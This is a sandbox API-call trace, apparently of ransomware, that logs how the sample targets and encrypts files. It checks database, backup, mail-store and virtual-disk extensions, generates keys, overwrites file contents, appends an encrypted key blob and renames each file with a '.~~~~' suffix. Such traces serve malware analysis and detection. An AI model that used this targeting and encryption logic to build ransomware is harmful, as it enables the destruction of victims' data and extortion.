	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".bdb") returned 0x0
	[0081.735] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.735] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.736] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.736] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20172613843) returned 1
	[0081.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a90e090, dwHighDateTime=0x1d60e1e)) 
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe590
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe590 | out: hHeap=0x300000) returned 1
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0081.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0081.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.737] GetLastError () returned 0x0
	[0081.737] GetLastError () returned 0x0
	[0081.737] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.737] GetLastError () returned 0x0
	[0081.737] GetLastError () returned 0x0
	[0081.737] ReadFile (in: hFile=0x128, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x24dfec0*=0xc150, lpOverlapped=0x0) returned 1
	[0081.740] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff3eb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.740] WriteFile (in: hFile=0x128, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0xc150, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0xc150, lpOverlapped=0x0) returned 1
	[0081.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0081.740] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.741] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.741] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.741] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.741] CloseHandle (hObject=0x128) returned 1
	[0081.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0081.741] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.~~~~")) returned 1
	[0081.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0081.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.742] GetLastError () returned 0x0
	[0081.742] RtlWakeConditionVariable () returned 0x365f70
	[0081.742] GetCurrentThreadId () returned 0x3a4
	[0081.742] GetCurrentThreadId () returned 0x3a4
	[0081.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc1b0 | out: hHeap=0x300000) returned 1
	[0081.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe5c8 | out: hHeap=0x300000) returned 1
	[0081.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc1b0
	[0081.742] lstrlenW (lpString=".scr") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".scr") returned 0x0
	[0081.743] lstrlenW (lpString=".cmd") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".cmd") returned 0x0
	[0081.743] lstrlenW (lpString=".dll") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dll") returned 0x0
	[0081.743] lstrlenW (lpString=".bat") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".bat") returned 0x0
	[0081.743] lstrlenW (lpString=".cpl") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".cpl") returned 0x0
	[0081.743] lstrlenW (lpString=".sys") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".sys") returned 0x0
	[0081.743] lstrlenW (lpString=".msc") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".msc") returned 0x0
	[0081.743] lstrlenW (lpString=".com") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".com") returned 0x0
	[0081.743] lstrlenW (lpString=".lnk") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".lnk") returned 0x0
	[0081.743] lstrlenW (lpString=".msp") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".msp") returned 0x0
	[0081.743] lstrlenW (lpString=".pif") returned 4
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".pif") returned 0x0
	[0081.743] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.747] lstrlenW (lpString=".sqb") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".sqb") returned 0x0
	[0081.747] lstrlenW (lpString=".ost") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".ost") returned 0x0
	[0081.747] lstrlenW (lpString=".txt") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".txt") returned 0x0
	[0081.747] lstrlenW (lpString=".mdt") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".mdt") returned 0x0
	[0081.747] lstrlenW (lpString=".BDB") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".BDB") returned 0x0
	[0081.747] lstrlenW (lpString=".eql") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".eql") returned 0x0
	[0081.747] lstrlenW (lpString=".DBF") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DBF") returned 0x0
	[0081.747] lstrlenW (lpString=".EQL") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".EQL") returned 0x0
	[0081.747] lstrlenW (lpString=".FDB") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".FDB") returned 0x0
	[0081.747] lstrlenW (lpString=".EDB") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".EDB") returned 0x0
	[0081.747] lstrlenW (lpString=".DACPAC") returned 7
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.747] lstrlenW (lpString=".VHD") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".VHD") returned 0x0
	[0081.747] lstrlenW (lpString=".DBV") returned 4
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DBV") returned 0x0
	[0081.747] lstrlenW (lpString=".dacpac") returned 7
	[0081.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dacpac") returned 0x0
	[0081.748] lstrlenW (lpString=".sdf") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".sdf") returned 0x0
	[0081.748] lstrlenW (lpString=".accdb") returned 6
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".accdb") returned 0x0
	[0081.748] lstrlenW (lpString=".DBX") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DBX") returned 0x0
	[0081.748] lstrlenW (lpString=".MDT") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".MDT") returned 0x0
	[0081.748] lstrlenW (lpString=".SQB") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".SQB") returned 0x0
	[0081.748] lstrlenW (lpString=".vhd") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".vhd") returned 0x0
	[0081.748] lstrlenW (lpString=".bac") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".bac") returned 0x0
	[0081.748] lstrlenW (lpString=".mdf") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".mdf") returned 0x0
	[0081.748] lstrlenW (lpString=".BAK") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".BAK") returned 0x0
	[0081.748] lstrlenW (lpString=".BAC") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".BAC") returned 0x0
	[0081.748] lstrlenW (lpString=".dbs") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dbs") returned 0x0
	[0081.748] lstrlenW (lpString=".vhdx") returned 5
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".vhdx") returned 0x0
	[0081.748] lstrlenW (lpString=".NDF") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".NDF") returned 0x0
	[0081.748] lstrlenW (lpString=".dat") returned 4
	[0081.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dat") returned 0x0
	[0081.749] lstrlenW (lpString=".DBS") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DBS") returned 0x0
	[0081.749] lstrlenW (lpString=".CKP") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".CKP") returned 0x0
	[0081.749] lstrlenW (lpString=".edb") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".edb") returned 0x0
	[0081.749] lstrlenW (lpString=".PST") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".PST") returned 0x0
	[0081.749] lstrlenW (lpString=".dbf") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dbf") returned 0x0
	[0081.749] lstrlenW (lpString=".SQL") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".SQL") returned 0x0
	[0081.749] lstrlenW (lpString=".pst") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".pst") returned 0x0
	[0081.749] lstrlenW (lpString=".dbv") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dbv") returned 0x0
	[0081.749] lstrlenW (lpString=".SDF") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".SDF") returned 0x0
	[0081.749] lstrlenW (lpString=".dtxs") returned 5
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dtxs") returned 0x0
	[0081.749] lstrlenW (lpString=".db3") returned 4
	[0081.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".db3") returned 0x0
	[0081.749] lstrlenW (lpString=".OST") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".OST") returned 0x0
	[0081.750] lstrlenW (lpString=".dbx") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dbx") returned 0x0
	[0081.750] lstrlenW (lpString=".DB3") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DB3") returned 0x0
	[0081.750] lstrlenW (lpString=".DAT") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DAT") returned 0x0
	[0081.750] lstrlenW (lpString=".VHDX") returned 5
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".VHDX") returned 0x0
	[0081.750] lstrlenW (lpString=".ndf") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".ndf") returned 0x0
	[0081.750] lstrlenW (lpString=".DB") returned 3
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DB") returned 0x0
	[0081.750] lstrlenW (lpString=".sql") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".sql") returned 0x0
	[0081.750] lstrlenW (lpString=".MYD") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".MYD") returned 0x0
	[0081.750] lstrlenW (lpString=".DBT") returned 4
	[0081.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DBT") returned 0x0
	[0081.750] lstrlenW (lpString=".ACCDB") returned 6
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.751] lstrlenW (lpString=".fdb") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".fdb") returned 0x0
	[0081.751] lstrlenW (lpString=".bak") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".bak") returned 0x0
	[0081.751] lstrlenW (lpString=".myd") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".myd") returned 0x0
	[0081.751] lstrlenW (lpString=".DTXS") returned 5
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".DTXS") returned 0x0
	[0081.751] lstrlenW (lpString=".ckp") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".ckp") returned 0x0
	[0081.751] lstrlenW (lpString=".dbt") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".dbt") returned 0x0
	[0081.751] lstrlenW (lpString=".db") returned 3
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".db") returned 0x0
	[0081.751] lstrlenW (lpString=".TXT") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".TXT") returned 0x0
	[0081.751] lstrlenW (lpString=".MDF") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".MDF") returned 0x0
	[0081.751] lstrlenW (lpString=".bdb") returned 4
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".bdb") returned 0x0
	[0081.751] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.751] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.779] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.780] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0081.780] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20176986700) returned 1
	[0081.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a9804b0, dwHighDateTime=0x1d60e1e)) 
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe5c8
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe5c8 | out: hHeap=0x300000) returned 1
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0081.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.780] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.780] GetLastError () returned 0x0
	[0081.781] GetLastError () returned 0x0
	[0081.781] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.781] GetLastError () returned 0x0
	[0081.781] GetLastError () returned 0x0
	[0081.782] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.795] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.796] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.797] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
